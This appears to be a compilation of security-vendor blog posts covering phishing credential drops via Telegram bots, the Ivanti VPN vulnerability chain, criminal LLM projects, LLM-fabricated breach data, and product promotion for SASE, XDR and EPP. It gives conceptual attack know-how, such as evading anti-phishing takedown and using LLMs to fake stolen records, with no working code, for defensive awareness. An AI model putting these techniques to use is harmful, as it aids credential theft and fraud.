A key component of a classic Phishing attack is the drop URL. The attack's drop is used as a collection point for stolen information. The drop's purpose is to transfer the victim's compromised credentials into the attack's “Command and Control” (C2) panel once the user submits their personal details into the fake website's fields. In many cases, this is achieved by a server-side capability, primarily implemented using languages like PHP, ASP, etc., which serves as the backend component for the attack.There are two common types of Phishing drops:- A drop URL hosted on the relative path of the phishing attack's server.- A remote drop URL hosted on a different site than the one hosting the attack itself.One drop to rule them all - An attacker can leverage one external drop in multiple phishing attacks to consolidate all the phished credentials into one Phishing C2 server and make the adversary's life easier.A recent trend involves using the Telegram Bot API URL as an external drop, where attackers create Telegram bots to facilitate the collection and storage of compromised credentials. In this way, the adversary can obtain the victim's credentials directly, even to their mobile device, anywhere and anytime, and can conduct the account takeover on the go. In addition to its effectiveness in aiding attackers, this method also facilitates evasion of Anti-Phishing solutions, as dismantling Telegram bots proves to be a challenging task.

Lessons on Cybersecurity from Formula E The ABB FIA Formula E World Championship is an exciting evolution of motorsports, having launched its first season of single-seater all-electric racing in 2014. The first-generation cars featured a humble 200kW of power but as technology has progressed, the current season Gen3 cars now have 350kW. Season 10 is currently in progress with 16 global races, many taking place on street circuits. Manufacturers such as Porsche, Jaguar, Maserati, Nissan, and McLaren participate, and their research and development for racing benefits design and production of consumer electric vehicles.
Racing electric cars adds additional complexity when compared to their internal combustion counterparts, success relies heavily on teamwork, strategy, and reliable data. Most notable is the simple fact that each car does not have enough total power capacity to complete a race. Teams must balance speed with regenerating power if they want to finish the race, using data to shape the strategy that will hopefully land their drivers on the podium.
Building an effective cybersecurity strategy draws many parallels with the high-pressure world of Formula E racing. CISOs rely on accurate and timely data to manage their limited resources: time, people, and money to stay ahead of bad actors and emerging threats. Technology investments designed to increase security posture could require too many resources, leaving organizations unable to fully execute their strategy.
Adding to the excitement and importance of strategy in Formula E racing is “Attack Mode.” Drivers can activate attack mode at a specific section of the track, delivering an additional 50kW of power twice per race for up to eight minutes total. Attack mode rewards teams that can effectively use the real-time telemetry collected from the cars to plan the best overall strategy. Using Attack mode too early or too late can significantly impact where the driver places at the race's end.
[boxlink link="https://catonetworks.easywebinar.live/registration-simplicity-at-speed"] Simplicity at Speed: How Cato’s SASE Drives the TAG Heuer Porsche Formula E Team’s Racing | Watch Now [/boxlink]
In a similar way, SASE is Attack Mode for enterprise cybersecurity and networking. Organizations that properly strategize and adopt cloud-native SASE solutions that fully converge networking and security gain powerful protection and visibility against threats, propelling their security postures forward in the never-ending race against bad actors. While the overall strategy is still critical to success, SASE provides superior data quality for investigation and remediation, but also allows faster and more accurate decision making.
As mentioned above, cars like the TAG Heuer Porsche Formula E Team’s Porsche 99x Electric have increased significantly in power over time, and this should also be true of SASE platforms. At Cato Networks, we deliver more than 3,000 product enhancements every year, including completely new capabilities. The goal is not to have the most features, but, like the automotive manufacturers mentioned previously, to build the right capabilities in a usable way.
Cybersecurity requires balancing of multiple factors to deliver the best outcomes and protections; like Formula E, speed is important, but so is reliability and visibility. Consider that every SASE vendor is racing for your business, but not all of them can successfully deliver in all the areas that will make your strategy a success. Pay keen attention to traffic performance, intelligent visibility that helps you to identify and remediate threats, global presence, and the ability of the vendor to deliver meaningful new capabilities over time rather than buzzwords and grandiose claims. After all, in any race the outcomes are what matter, and we all want to be on the podium for making our organizations secure and productive.
Cato Networks is proud to be the official SASE partner of the TAG Heuer Porsche Formula E Team, learn more about this exciting partnership here: https://www.catonetworks.com/porsche-formula-e-team/

WANTED: Brilliant AI Experts Needed for Cyber Criminal Ring In a recent ad on a closed Telegram channel, a known threat actor has announced it’s recruiting AI and ML experts for the development of it’s own LLM product.
Threat actors and cybercriminals have always been early adapters of new technology: from cryptocurrencies to anonymization tools to using the Internet itself. While cybercriminals were initially very excited about the prospect of using LLMs (Large Language Models) to support and enhance their operations, reality set in very quickly – these systems have a lot of problems and are not a “know it all, solve it all” solution. This was covered in one of our previous blogs, where we reported a discussion about this topic in a Russian underground forum, where the conclusion was that LLMs are years away from being practically used for attacks.
The media has been reporting in recent months on different ChatGPT-like tools that threat actors have developed and are being used by attackers, but once again, the reality was quite different. One such example is the wide reporting about WormGPT, a tool that was described as malicious AI tool that can be used for anything from disinformation to actual attacks. Buyers of this tool were not impressed with it, seeing it was just a ChatGPT bot with the same restrictions and hallucinations they were familiar with. Feedback about this tool soon followed:
[boxlink link="https://www.catonetworks.com/resources/cato-networks-sase-threat-research-report/"] Cato Networks SASE Threat Research Report H2/2022 | Download the Report [/boxlink]
With an urge to utilize AI, a known Russian threat actor has now advertised a recruitment message in a closed Telegram channel, looking for a developer to develop their own AI tool, dubbed xGPT. Why is this significant? First, this is a known threat actor that has already sold credentials and access to US government entities, banks, mobile networks, and other victims. Second, it looks like they are not trying to just connect to an existing LLM but rather develop a solution of their own. In this ad, the threat actor explicitly details they are looking to,” push the boundaries of what’s possible in our field” and are looking for individuals who ”have a strong background in machine learning, artificial intelligence, or related fields.”
Developing, training, and deploying an LLM is not a small task. How can threat actors hope to perform this task, when enterprises need years to develop and deploy these products? The answer may lie in the recently announced GPTs, the customized ChatGPT agent product announced by OpenAI. Threat actors may create ChatGPT instances (and offer them for sale), that differ from ChatGPT in multiple ways. These differences may include a customized rule set that ignores the restrictions imposed by OpenAI on creating malicious content. Another difference may be a customized knowledge base that may include the data needed to develop malicious tools, evade detection, and more. In a recent blog, Cato Networks threat intelligence researcher Vitaly Simonovich explored the introduction and the possible ways of hacking GPTs.
It remains to be seen how this new product will be developed and sold, as well as how well it performs when compared to the disappointing (to the cybercriminals end) introduction of WormGPT and the like. However, we should keep in mind this threat actor is not one to be dismissed and overlooked.
If you’re an administrator running Ivanti VPN (Connect Secure and Policy Secure) appliances in your network, then the past two months have likely made you... Read ›
When Patch Tuesday becomes Patch Monday – Friday If you’re an administrator running Ivanti VPN (Connect Secure and Policy Secure) appliances in your network, then the past two months have likely made you wish you weren't.In a relatively short timeframe bad news kept piling up for Ivanti Connect Secure VPN customers, starting on Jan. 10th, 2024, when critical and high severity vulnerabilities, CVE-2024-21887 and CVE-2023-46805 respectively, were disclosed by Ivanti impacting all supported versions of the product. The chaining of these vulnerabilities, a command injection weakness and an authentication bypass, could result in remote code execution on the appliance without any authentication. This enables complete device takeover and opening the door for attackers to move laterally within the network.
This was followed three weeks later, on Jan. 31st, 2024, by two more high severity vulnerabilities, CVE-2024-21888 and CVE-2024-21893, prompting CISA to supersede its previous directive to patch the two initial CVEs, by ordering all U.S. Federal agencies to disconnect from the network all Ivanti appliances “as soon as possible” and no later than 11:59 PM on February 2nd.
As patches were gradually made available by Ivanti, the recommendation by CISA and Ivanti themselves has been to not only patch impacted appliances but to first factory reset them, and then apply the patches to prevent attackers from maintaining upgrade persistence. It goes without saying that the downtime and amount of work required from security teams to maintain the business’ remote access are, putting it mildly, substantial.
In today’s “work from anywhere” market, businesses cannot afford downtime of this magnitude, the loss of employee productivity that occurs when remote access is down has a direct impact on the bottom line.Security teams and CISOs running Ivanti and similar on-prem VPN solutions need to accept that this security architecture is fast becoming, if not already, obsolete and should remain a thing of the past. Migrating to a modern ZTNA deployment, more-than-preferably as a part of single vendor SASE solution, has countless benefits. Not only does it immensely increase the security within the network, stopping lateral movement and limiting the “blast radius” of an attack, but it also serves to alleviate the burden of patching, monitoring and maintaining the bottomless pit of geographically distributed physical appliances from multiple vendors.

Details of the vulnerabilities
CVE-2023-46805: Authentication Bypass (CVSS 8.2)Found in the web component of Ivanti Connect Secure and Ivanti Policy Secure (versions 9.x and 22.x)
Allows remote attackers to access restricted resources by bypassing control checks.
CVE-2024-21887: Command Injection (CVSS 9.1)Identified in the web components of Ivanti Connect Secure and Ivanti Policy Secure (versions 9.x and 22.x)
Enables authenticated administrators to execute arbitrary commands via specially crafted requests.
CVE-2024-21888: Privilege Escalation (CVSS 8.8)Discovered in the web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x)
Permits users to elevate privileges to that of an administrator.
CVE-2024-21893: Server-Side Request Forgery (SSRF) (CVSS 8.2)Present in the SAML component of Ivanti Connect Secure (9.x, 22.x), Ivanti Policy Secure (9.x, 22.x), and Ivanti Neurons for ZTA
Allows attackers to access restricted resources without authentication.
CVE-2024-22024: XML External Entity (XXE) Vulnerability (CVSS 8.3)Detected in the SAML component of Ivanti Connect Secure (9.x, 22.x), Ivanti Policy Secure (9.x, 22.x), and ZTA gateways
Permits unauthorized access to specific restricted resources.
Specifically, by chaining CVE-2023-46805, CVE-2024-21887 & CVE-2024-21893 attackers can bypass authentication, and obtain root privileges on the system, allowing for full control of the system. The first two CVEs were observed being chained together in attacks going back to December 2023, i.e. well before the publication of the vulnerabilities.With estimates of internet connected Ivanti VPN gateways ranging from ~20,000 (Shadowserver) all the way to ~30,000 (Shodan) and with public POCs being widely available it is imperative that anyone running unpatched versions applies them and follows Ivanti’s best practices to make sure the system is not compromised.
Conclusion
In times when security & IT teams are under more pressure than ever to make sure business and customer data are protected, with CISOs possibly even facing personal liability for data breaches, it’s become imperative to implement comprehensive security solutions and to stop duct-taping various security solutions and appliances in the network.
Moving to a fully cloud delivered single vendor SASE solution, on top of providing the full suite of modern security any organization needs, such as ZTNA, SWG, CASB, DLP, and much more, it greatly reduces the maintenance required when using multiple products and appliances. Quite simply eliminating the need to chase CVEs, applying patches in endless loops and dealing with staff burnout. The networking and security infrastructure is consumed like any other cloud delivered service, allowing security teams to focus on what’s important.

Demystifying GenAI security, and how Cato helps you secure your organizations access to ChatGPT Over the past year, countless articles, predictions, prophecies and premonitions have been written about the risks of AI, with GenAI (Generative AI) and ChatGPT being in the center. Ranging from its ethics to far reaching societal and workforce implications (“No Mom, The Terminator isn’t becoming a reality... for now”).Cato security research and engineering was so fascinated about the prognostications and worries that we decided to examine the risks to business posed by ChatGPT. What we found can be summarized into several key conclusions:
There is presently more scaremongering than actual risk to organizations using ChatGPT and the likes.
The benefits to productivity far outweigh the risks.
Organizations should nonetheless be deploying security controls to keep their sensitive and proprietary information from being used in tools such as ChatGPT since the threat landscape can shift rapidly.
Concerns explored
A good deal of said scaremongering is around the privacy aspect of ChatGPT and the underlying GenAI technology. The concern -- what exactly happens to the data being shared in ChatGPT; how is it used (or not used) to train the model in the background; how it is stored (if it is stored) and so on.
The issue is the risk of data breaches and data leaks of company’s intellectual property when users interact with ChatGPT. Some typical scenarios being:
Employees using ChatGPT – A user uploads proprietary or sensitive information to ChatGPT, such as a software engineer uploading a block of code to have it reviewed by the AI. Could this code later be leaked through replies (inadvertently or maliciously) in other accounts if the model uses that data to further train itself?Spoiler: Unlikely and no actual demonstration of systematic exploitation has been published.
Data breaches of the service itself – What exposure does an organization using ChatGPT have if OpenAI is breached, or if user data is exposed through bugs in ChatGPT? Could sensitive information leak this way?Spoiler: Possibly, at least one public incident was reported by OpenAI in which some users saw chat titles of other users in their account due to a bug in OpenAI’s infrastructure.
Proprietary GenAI implementations – AI already has its own dedicated MITRE framework of attacks, ATLAS, with techniques ranging from input manipulation to data exfiltration, data poisoning, inference attacks and so on. Could an organization's sensitive data be stolen though these methods?Spoiler: Yes, methods range from harmless, to theoretical all the way to practical, as showcased in a recent Cato Research post on the subject, in any case securing proprietary implementation of GenAI is outside the scope of this article.
There’s always a risk in everything we do. Go onto the internet and there’s also a risk, but that doesn’t stop billions of users from doing it every day. One just needs to take the appropriate precautions. The same is true with ChatGPT. While some scenarios are more likely than others, by looking at the problem from a practical point of view one can implement straightforward security controls for peace of mind.

GenAI security controls
In a modern SASE architecture, which includes CASB & DLP as part of the platform, these use-cases are easily addressable. Cato’s platform being exactly that, it offers a layered approach to securing usage of ChatGPT and similar applications inside the organization:
Control which applications are allowed, and which users/groups are allowed to use those applications
Control what text/data is allowed to be sent
Enforcing application-specific options, e.g. opting-out of data retention, tenant control, etc.
The initial approach is defining what AI applications are allowed and which user groups are allowed to use them, this can be done by a combination of using the “Generative AI Tools” application category with the specific tools to allow, e.g., blocking all GenAI tools and only allowing "OpenAI".
A cornerstone of an advanced DLP solution is its ability to reliably classify data, and the legacy approaches of exact data matches, static rules and regular expressions are now all but obsolete when used on their own. For example, blocking a credit card number would be simple using a regular expression but in real-life scenarios involving financial documents there are many other means by which sensitive information can leak. It would be nearly pointless to try and keep up with changing data and fine-tuning policies without a more advanced solution that just works.
Luckily, that is exactly where Cato’s ML (Machine Learning) Data Classifiers come in. This is the latest addition to Cato’s already expansive array of AI/ML capabilities integrated into the platform throughout the years. Our in-house LLM (Large Language Model), trained on millions of documents and data types, can natively identify documents in real-time, serving as the perfect tool for such policies.Let’s look at the scenario of blocking specific text input with ChatGPT, for example uploading confidential or sensitive data through the prompt. Say an employee from the legal department is drafting an NDA (non-disclosure agreement) document and before finalizing it gives it to ChatGPT to go over it and suggest improvement or even just go over the grammar. This could obviously be a violation of the company’s privacy policies, especially if the document contains PII.
Figure 1 - Example rule to block upload of Legal documents, using ML Classifiers
We can go deeper
To further demonstrate the power and flexibility of a comprehensive CASB solution, let us examine an additional aspect of ChatGPT’s privacy controls. There is an option in the settings to disable “Chat history & training”, essentially letting the user decide that he does not want his data to be used for training the model and retained on OpenAI’s servers.This important privacy control is disabled by default, that is by default all chats ARE saved by OpenAI, aka users are opted-in, something an organization should avoid in any work-related activity with ChatGPT.
Figure 2 - ChatGPT's data control configuration
A good way to strike a balance between allowing users the flexibility to use ChatGPT but under stricter controls is only allowing chats in ChatGPT that have chat history disabled. Cato’s CASB granular ChatGPT application allows for this flexibility by being able to distinguish in real-time if a user is opted-in to chat history and block the connection before data is sent.
Figure 3 – Example rule for “training opt-out” enforcement
Lastly, as an alternative (or complementary) approach to the above, it is possible to configure Tenant Control for ChatGPT access, i.e., enforce which accounts are allowed when accessing the application. In a possible scenario an organization has corporate accounts in ChatGPT, where they have default security and data control policies enforced for all employees, and they would like to make sure employees do not access ChatGPT with their personal accounts on the free tier.

Fake Data Breaches: Why They Matter and 12 Ways to Deal with Them As a Chief Information Security Officer (CISO), you have the enormous responsibility to safeguard your organization's data. If you're like most CISOs, your worst fear is receiving a phone call in the middle of the night from one of your information security team members informing you that the company's data is being sold on popular hacking forums.
This is what happened recently with Europcar, part of the Europcar Mobility Group and a leading car and light commercial vehicle rental company. The company found that nearly 50 million customer records were for sale on dark web. But what was even stranger was that after a quick investigation, the company found that the data being sold was fake. A relief, no doubt, but even fake data should be a concern for CISO. Here's why and what companies can do to protect themselves.
A screenshot from an online hacking forum indicating a data breach at Europcar.com, with a user named "lean" offering personal data from 50 million users for sale.
Why Care About Fake Data?
The main reason for selling fake data from a "breach" is to make money, often in ways potentially unrelated to the target enterprises. But even when attackers are profiting in a way that doesn’t seem to harm the enterprise, CISOs need to be concerned as attackers may have other reasons for their actions such as:
Distraction and Misdirection: By selling fake data, threat actors could attempt to distract the company's security team. While the team is busy verifying the authenticity of the data, the attackers might be conducting a more severe and real attack elsewhere in the system.
Testing the Waters: Sometimes, fake data breaches can be a way for hackers to gauge the response time and protocols of a company's security team. This can provide them valuable insights into the company's defenses and preparedness, which they could exploit in future, more severe attacks.
Building a reputation: Reputation is highly esteemed in hacker communities, earned through past successes and perceived information value. While some may use fabricated data to gain notoriety, the risks of being caught and subsequently ostracized are significant. Maintaining a reputable standing requires legitimate skills and access to authentic information.
Damage the company's reputation: Selling fake data can also be a tactic to undermine trust in a company. Even if the data is eventually revealed to be bogus, the initial news of a breach can damage the company's reputation and erode customer confidence.
Market Manipulation: In cases where the company is publicly traded, news of a data breach (even a fake one) can impact stock prices. This can be exploited by threat actors looking to manipulate the market for financial gain.
How are threat actors generating fake data?
Fake data is often used in software development when the software engineer needs to test the application's API to check that it works.
There are multiple ways to generate data from websites like https://generatedata.com/ to Python libraries like https://faker.readthedocs.io/en/master/index.html.
But to make the data "feel" real and personalized to the target company, hackers are using LLMs like ChatGPT or Claude to generate more realistic datasets like using the same email format as the company.
More professional attackers will first do a reconnaissance of the company. The threat actor can then provide more information to the LLM and generate realistic-looking and personalized data based on the reconnaissance. The use of LLMs makes the process much easier and more accurate. Here is a simple example:
A screenshot of ChatGPT displaying an example of creating fake company data using information from reconnaissance.

What can you do in such a situation?
In the evolving landscape of cyber threats, CISOs must equip their teams with a multi-faceted approach to tackle fake data breaches effectively. This approach encompasses not just technical measures but also organizational preparedness, staff awareness, legal strategies, and communication policies. By adopting a holistic strategy that covers these diverse aspects, companies can ensure a rapid and coordinated response to both real and fake data breaches, safeguarding their integrity and reputation. Here are some key measures to consider in building such a comprehensive defense strategy:
Rapid Verification: Implement processes for quickly verifying the authenticity of alleged data breaches. This involves having a dedicated team or protocol for such investigations.
Educate Your Staff: Regularly educate and train your staff about the possibility of fake data breaches and the importance of not panicking and following protocol.
Enhance Monitoring and Alert Systems: Strengthen your monitoring systems to detect any unusual activity that could indicate a real threat, even while investigating a potential fake data breach.
Establish Clear Communication Channels: Ensure clear and efficient communication channels within your organization for reporting and discussing potential data breaches.
Monitor hacker communities: Stay connected with cybersecurity communities and forums to stay informed about the latest trends in fake data breaches and threat actor tactics.
Legal Readiness: Be prepared to engage legal counsel to address potential defamation or misinformation spread due to fake data breaches.
Public Relations Strategy: Develop a strategy for quickly and effectively communicating with stakeholders and the public to mitigate reputation damage in case of fake breach news.
Conduct Regular Security Audits: Regularly audit your security systems and protocols to identify and address any vulnerabilities.
Backup and Disaster Recovery Plans: Maintain robust backup and disaster recovery plans to ensure business continuity in case of any breach, real or fake.
Collaborate with Law Enforcement: In cases of fake breaches, collaborate with law enforcement agencies to investigate and address the source of the fake data.
Use Canary Tokens: Implement canary tokens within your data sets. Canary tokens are unique, trackable pieces of information that act as tripwires. In the event of a data breach, whether real or fake, you can quickly identify the breach through these tokens and determine the authenticity of the data involved. This strategy not only aids in early detection but also in the rapid verification of data integrity.
Utilize Converged Security Solutions: Adopt solutions like Secure Access Service Edge (SASE) that provide comprehensive security by correlating events across your network. This streamlined approach offers clarity on security incidents, helping distinguish real threats from false alarms efficiently.
As technology advances, cybercriminals are also becoming more sophisticated in their tactics. Although fake data breaches may seem less harmful, they pose significant risks to businesses in terms of resource allocation, reputation, and security posture. To strengthen their defenses against cyber threats, enterprises need a proactive approach that involves rapid verification, staff education, enhanced monitoring, legal readiness, and the strategic use of SASE. It’s not just about responding to visible threats but also about preparing for the deception and misdirection that we cannot see. By doing so, CISOs and their teams become not just protectors of their organization’s digital assets but also smart strategists in the ever-changing game of cybersecurity.

The Platform Matters, Not the Platformization Cyber security investors, vendors and the press are abuzz with a new concept introduced by Palo Alto Networks (PANW) in their recent earnings announcement and guidance cut: Platformization. PANW rightly wants to address the “point solutions fatigue” experienced by enterprises due to the “point solution for point problem” mentality that has been prevalent in cyber security over the years. Platformization, claims PANW, is achieved by consolidating current point solutions into PANW platforms, thus reducing the complexity of dealing with multiple solutions from multiple vendors. To ease the migration, PANW offer customers to use its products for free for up to 6 months while the displaced products contracts expire.
We couldn’t agree more with the need for point solution convergence to address customers’ challenges to sustain their disjointed networking and security infrastructure. Cato was founded nine years ago with the mission to build a platform to converge multiple networking and security categories. Today, over 2200 enterprise customers enjoy the transformational benefits of the Cato SASE Cloud platform that created the SASE category.
Does PANW have a SASE platform? Many legacy vendors, including PANW and most notably Cisco, have grown through M&A establishing a portfolio of capabilities and a business one-stop-shop. Integrating these acquisitions and OEMs into a cohesive and converged platform is, however, extremely difficult to do across code bases, form factors, policy engines, data lakes, and release cycles. What PANW has today is a collection of point solutions with varying degrees of integration that still require a lot of complex care and feeding from the customer. In my opinion, PANW’s approach is more “portfolio-zation” than “platformization,” but I digress.

The solution to the customer-point-solution-malaise lies with a true platform architected from the ground up to abstract complexity. When customers look at the Cato platform, they see a way to transform how their IT teams secure and optimize the business. Cato provides a broad set of security capabilities, governed by one global policy engine, autonomously maintained for maximum availability and scalability, peak performance, and optimal security posture and available anywhere in the world. To deliver this IT “superpower” requires a platform, not “platformization.”
For several years, we have been offering customers ways to ease the migration from their point solutions towards a better outcome. We have displaced many point solutions in most of our customers including MPLS services, firewalls, SWG, CASB/DLP, SD-WAN, and remote access solutions across all vendors – including PANW. Customers make this strategic SASE transformation decision not primarily because we incentivize them, but because they understand the qualitative difference between the Cato SASE Platform and their current state.
PANW can engage customers with their size and brand, not with a promise to truly change their reality. If you want to see how a true SASE platform transforms IT functionally, operationally, commercially, and even personally – take Cato for a test drive.

CloudFactory Eliminates “Head Scratching” with Cato XDR More than just introducing XDR today, Cato announced the first XDR solution to be built on a SASE platform. Tapping the power of the platform dramatically improves XDR's quality of insight and the ease of incident response, leading to faster incident remediation.
"The Cato platform gives us peace of mind," says Shayne Green, an early adopter of Cato XDR and Head of security operations at CloudFactory. CloudFactory is a global outsourcer where Green and his team are responsible for ensuring the security of up to 8,000 remote analysts ("cloud workers" in CloudFactory parlance) worldwide. "When you have multiple services, each providing a particular component to serve the organization’s overall security needs, you risk duplicating functionality. The primary function of one service may overlap with the secondary function of another. This leads to inefficient service use. Monitoring across the services also becomes a headache, with manual processes often required due to inconsistent integration capabilities. To have a platform where all those capabilities are tightly converged together makes for a huge win," says Green.
Why CloudFactory Deployed Cato XDR
Cato XDR is fed by the platform's set of converged security and network sensors, 8x more native data sources than XDR solutions built on a vendor's EPP solution alone. The platform also delivers a seamless interface for remediating incidents, including new Analyst Workbenches and proven incident response playbooks for fast incident response. From policy configuration to monitoring to threat management and incident detection, enterprises gain one seamless experience.
"Cato XDR gives us a clear picture of the security events and alerts," says Green. "Trying to pick that apart through multiple platforms is head-scratching and massively resource intensive," he says.
Before Cato, XDR would have been infeasible for CloudFactory. "We would need to have all the right sensors deployed for our sites and remote users across the globe. That would have been a costly exercise and very difficult to maintain. We would also have needed to ingest that data into a common datastore, normalize the data in a way that doesn't degrade its quality, and only then could we begin to operate on the data. It would be a massive effort to do it right; Cato has given us all that instantly," he says.
Cato XDR Streamlines CloudFactory’s Business Collaboration
With Cato XDR deployed, Green found information that proved helpful at an operational level. "We knew that some BitTorrent was running on our network, but Cato XDR showed us how much, summarizing all the information in one place and other types of threats. With the evidence consolidated on a screen, we can easily see the scale of an issue.
The new AI summary feature helps to automate a routine task. "We just snip-and-send the text describing the story for our internal teams to act on. The AI summary provides a very clear and simple articulation of the issue\finding. This saves us from manually formulating reports and evidence summaries."
"Having a central presentation layer of our security services along with instant controls to remediate issues is of obvious benefit " he says. "We can report on millions of daily events to show device and user activity, egress points, ISP details, application use, throughput rates, security threats and more. We can see performance pinch points, investigate anomalous traffic and application access, and respond accordingly. The power of the information and the way it is presented makes the investigations very simple. Through the workbench stories feature, we follow the breadcrumb trail through the verbose data sets all the way to a conclusion. It's actually a fun feature to use and has provided powerful results - which is super useful across a distributed workforce."

"Before Cato, we would often be scratching our heads trying to obtain meaningful information from multiple platforms and spending a lot of time doing it. The alternative would be very fragmented and sometimes fairly brittle due to the way sets of information would have to be stitched together. With Cato, we don't have to do that. It's maintained for us, and the information is on tap."
The Platform: It's More Than Just Technology
However, for Green, the notion of a platform extends far beyond the technical delivery of capabilities. "Having a single platform is a no-brainer for us. It's not just the technology. It also gives us a single point of contact for our networking and security needs, and that's incredibly important. Should we see the need for new features or enhancements, or if we have problems, we're not pulled from pillar-to-post between providers. We have a one-stop shop at Cato," says Green.
"What I like about the partnership with Cato is how they respond to our feedback," he says. "There's been several occasions where we've asked for functionality or service features to be added, and they have been. That's fantastic because it strengthens the Cato platform, the partnership, and, most importantly, the service we can provide our clients.

Introducing Cato EPP: SASE-Managed Protection for Endpoints Endpoints Under Attack
As cyber threats continue expanding, endpoints have become ground zero in the fight to protect corporate resources. Advanced cyber threats pose a serious risk, so protecting corporate endpoints and data should be a high priority.
Endpoint Protection Platforms (EPPs) are the first line of defense against endpoint cyber-attacks. It provides malware protection, zero-day protection, and device and application control. Additionally, EPPs serve a valuable role in meeting regulatory compliance mandates. Multiple inspection techniques allow it to detect malicious activities and provide advanced investigation and remediation tools to respond to security threats.
However, simple EPP alone is insufficient to deliver the required level of protection. In-depth endpoint protection requires a broader, more holistic approach to provide thorough security coverage.
Understanding EPP
EPP provides continuous endpoint protection and blocks malicious files activities. It uses advanced signature-based analysis to scan hundreds of file types for threats and machine learning algorithms to identify and prevent malicious endpoint activity. Heuristics and behavioral analysis perform real-time detection of anomalous characteristics. It can identify various threats, including fileless malware, Advanced Persistent Threats (APT), and evasive and stealthy file activity.
The importance of EPP providing comprehensive and proactive threat defense for users and devices cannot be overstated. As the first layer of defense protecting endpoints, EPP becomes a necessary beginning of a broader security strategy.

SASE-managed EPP: A Better Approach to Endpoint Protection
The next evolution of holistic endpoint protection is SASE-managed EPP. This utilizes highly effective detection engines that combine pre-execution scanning for known threats and runtime analysis to detect anomalous and malicious activities. Built into a SASE cloud platform, it provides greater insight into malicious behavior patterns to accurately identify relationships between network security and endpoint security events.
A SASE-managed EPP provides security teams with a single management console to view and understand identified security incidents. It also streamlines endpoint security management, making it easier to investigate and remediate threats. This allows security teams to quickly secure enterprise endpoints, eliminate risk, and strengthen their security posture.
Cato EPP is the Future of Endpoint Protection
As the industry’s first SASE-managed EPP solution, Cato EPP is the ideal endpoint solution to secure today’s enterprises. Its protection combines pre-execution and runtime scanning techniques to detect known threats and unknown threats with malicious characteristics. This allows it to capture early indicators of pending threats and enables dynamic and adaptive threat protection for all users and endpoints.
Cato EPP provides is a holistic approach to securing the modern digital enterprise. Being part of the Cato SASE Cloud platform, it provides greater visibility to identify related network security and endpoint events, and display them in a single management application. This is critical to providing security teams with enhanced analysis and investigation capabilities to quickly respond to potential threats, enabling them to take the necessary steps to eliminate endpoint risk and strengthen enterprise-wide security.
Cato EPP delivers a better security experience and overcomes many of the security management issues plaguing today’s security teams. With it, these teams are now better equipped to eliminate endpoint risk by deploying a more complete EPP solution.

Cato XDR Storyteller – Integrating Generative AI with XDR to Explain Complex Security Incidents Generative AI (à la OpenAI’s GPT and the likes) is a powerful tool for summarizing information, transformations of text, transformation of code, all while doing so using its highly specialized ability to “speak” in a natural human language.
While working with GPT APIs on several engineering projects an interesting idea came up in brainstorming, how well would it work when asked to describe information provided in raw JSON into natural language?
The data in question were stories from our XDR engine, which provide a full timeline of security incidents along with all the observed information that ties to the incident such as traffic flows, events, source/target addresses and more.
When inputted into the GPT mode, even very early results (i.e. before prompt engineering) were promising and we saw a very high potential to create a method to summarize entire security incidents into natural language and providing SOC teams that use our XDR platform a useful tool for investigation of incidents.
Thus, the “XDR Story Summary” project, aka “XDR Storyteller” came into being, which is integrating GenAI directly into the XDR detection & response platform in the Cato Management Application (CMA).
The summaries are presented in natural language and provide a concise presentation of all the different data points and the full timeline of an incident.
Figure 1 - Story Summary in action in Cato Management Application (CMA)
These are just two examples of the many different scenarios we POCed prior to starting development:
Example use-case #1 – deeper insight into the details of an incident.GPT was able to add details into the AI summary which were not easily understood from the UI of the story, since it is comprised of multiple events.GPT could infer from a Suspicious Activity Monitoring (SAM) event, that in addition to the user trying to download a malicious script, he attempted to disable the McAfee and Defender services running on the endpoint.
The GPT representation is built from reading a raw JSON of an XDR story, and while it is entirely textual which puts it in contrast to the visual UI representation it is able to combine data from multiple contexts into a single summary giving insights into aspects that can be complex to grasp from the UI alone.
Figure 2 - Example of a summary of a raw JSON, from the OpenAI Playground
Example use-case #2 – Using supporting playbooks to add remediation recommendations on top of the summary.
By giving GPT an additional source of data via a playbook used by our Support teams, he was able to not only summarize a network event but also provide a concise Cato-specific recommended actions to take to resolve/investigate the incident.
Figure 3 - Example of providing GPT with additional sources of data, from the OpenAI Playground
Picking a GenAI model
There are multiple aspects to consider when integrating a 3rd-party AI service (or any service handling your data for that matter), some are engineering oriented such as how to get the best results from the input and others are legal aspects pertaining to handling of our and our customer’s data.
Before defining the challenges of working with a GenAI model, you actually need to pick the tool you’ll be integrating, while GPT-4 (OpenAI) might seem like the go-to choice due to its popularity and impressive feature set it is far from being the only option, examples being PaLM(Google), LLaMA (Meta), Claude-2 (Anthropic) and multiple others.
We opted for a proof-of-concept (POC) between OpenAI’s GPT and Amazon’s Bedrock which is more of an AI platform allowing to decide which model to use (Foundation Model - FM) from a list of several supported FMs.
[boxlink link="https://www.catonetworks.com/resources/the-industrys-first-sase-based-xdr-has-arrived/"] The Industry’s First SASE-based XDR Has Arrived | Download the eBook [/boxlink]
Without going too much into the details of the POC in this specific post, we’ll jump to the result which is that we ended up integrating our solution with GPT. Both solutions showed good results, and going the Amazon Bedrock route had an inherent advantage in the legal and privacy aspects of moving customer data outside, due to:
Amazon being an existing sub-processor since we widely use AWS across our platform.
It is possible to link your own VPC to Bedrock avoiding moving traffic across the internet.
Even so due to other engineering considerations we opted for GPT, solving the privacy hurdle in another way which we’ll go into below.
Another worthy mention, a positive effect of running the POC is that it allowed us to build a model-agnostic design leaving the option to add additional AI sources in the future for reliability and better redundancy purposes.
Challenges and solutions
Let’s look at the challenges and solutions when building the “Storyteller” feature:
Prompt engineering & context – for any task given to an AI to perform it is important to frame it correctly and give the AI context for an optimal result.For example, asking ChatGPT “Explain thermonuclear energy” and “Explain thermonuclear energy for a physics PHD” will yield very different results, and the same applies for cybersecurity. Since the desired output is aimed at security and operations personnel, we should therefore give the AI the right context, e.g. “You are an MDR analyst, provide a comprehensive summary where the recipient is the customer”.
For better context, other than then source JSON to analyze, we add source material that GPT should use for the reply. In this case to better understand
Figure 4 - Example of prompt engineering research from the OpenAI Playground
Additional prompt statements can help control the output formatting and verbosity. A known trait of GenAI’s is that they do like to babble and can return excessively long replies, often with repetitive information. But since they are obedient (for now…) we can shape the replies by adding instructions such as “avoid repeating information” or “interpret the information, do not just describe it” to the prompts.Other prompt engineering statements can control the formatting itself of the reply, so self-explanatory instructions like “do not use lists”, “round numbers if they are too long” or “use ISO-8601 date format” can help shape the end result.
